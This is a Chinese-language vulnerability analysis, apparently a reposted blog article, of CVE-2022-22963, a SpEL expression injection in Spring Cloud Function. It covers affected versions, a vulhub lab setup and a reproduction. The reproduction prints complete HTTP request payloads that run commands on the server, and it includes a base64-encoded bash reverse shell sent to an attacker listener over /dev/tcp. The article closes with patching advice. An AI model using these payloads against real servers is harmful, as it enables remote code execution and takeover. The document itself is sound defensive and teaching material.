CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

admin 2022年9月16日13:40:50评论88 views字数 1913阅读6分22秒阅读模式
01
漏洞概述

Spring Cloud Function是基于Spring Boot 的函数计算框架(FaaS,当其启用动态路由functionRoute时,HTTP请求头spring.cloud.function.routing-expression参数存在SPEL表达式注入漏洞,恶意攻击者可通过此漏洞发送恶意请求,在服务器执行任意代码。

02
影响版本

3.0.0.M3 <= Spring Cloud Function <=3.2.2

03
环境搭建

本次使用vulhub搭建本地测试环境进行复现:

第一步,执行以下命令,将vulhub环境拉取到本地。

git clone https://github.com/vulhub/vulhub

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

第二步,执行以下命令,启动服务。

cd vulhub-master/spring/CVE-2022-22963docker-compose up -d

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

第三步,执行docker ps命令查看容器运行状况

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

第四步,访问http://your-ip:8080,至此环境搭建完成。

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

04
漏洞复现

1.通过HTTP请求头spring.cloud.function.routing-expression参数存在的SPEL表达式执行任意命令

首先,使用Burpsuite工具构造如下数据包:

POST /functionRouter HTTP/1.1Host: localhost:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("touch /tmp/success")Content-Type: text/plainContent-Length: 4
test

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

执行以下命令进入Docker容器,可以看到成功在tmp目录下创建了success文件:

docker-compose exec spring bash

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

2.利用此漏洞反弹shell

攻击机kali监听6666端口

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

bash反弹shell的命令如下:

bash -i >& /dev/tcp/192.168.150.191/6666 0>&1

使用Burpsuite工具的Decoder模块进行base64编码。

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

编码后为:

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xOTEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}

构造如下数据包,将编码后的命令作用到spring.cloud.function.routing-expression头中包含的SpEL表达式上。

POST /functionRouter HTTP/1.1Host: 192.168.150.191:8080Accept-Encoding: gzip, deflateAccept: */*Accept-Language: enUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36Connection: closespring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1MC4xOTEvNjY2NiAwPiYx}|{base64,-d}|{bash,-i}")Content-Type: text/plainContent-Length: 8
test

成功获取shell

CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

05
处置建议

目前官方已针对此漏洞发布安全补丁和新版本修复,请受影响的用户尽快更新进行防护。下载链接:

https://github.com/spring-cloud/spring-cloud-function/tags


CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析


CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

原文始发于微信公众号(第59号):CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年9月16日13:40:50
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2022-22963:Spring Cloud Function SpEL 表达式注入漏洞简析https://cn-sec.com/archives/1299203.html

发表评论

匿名网友 填写信息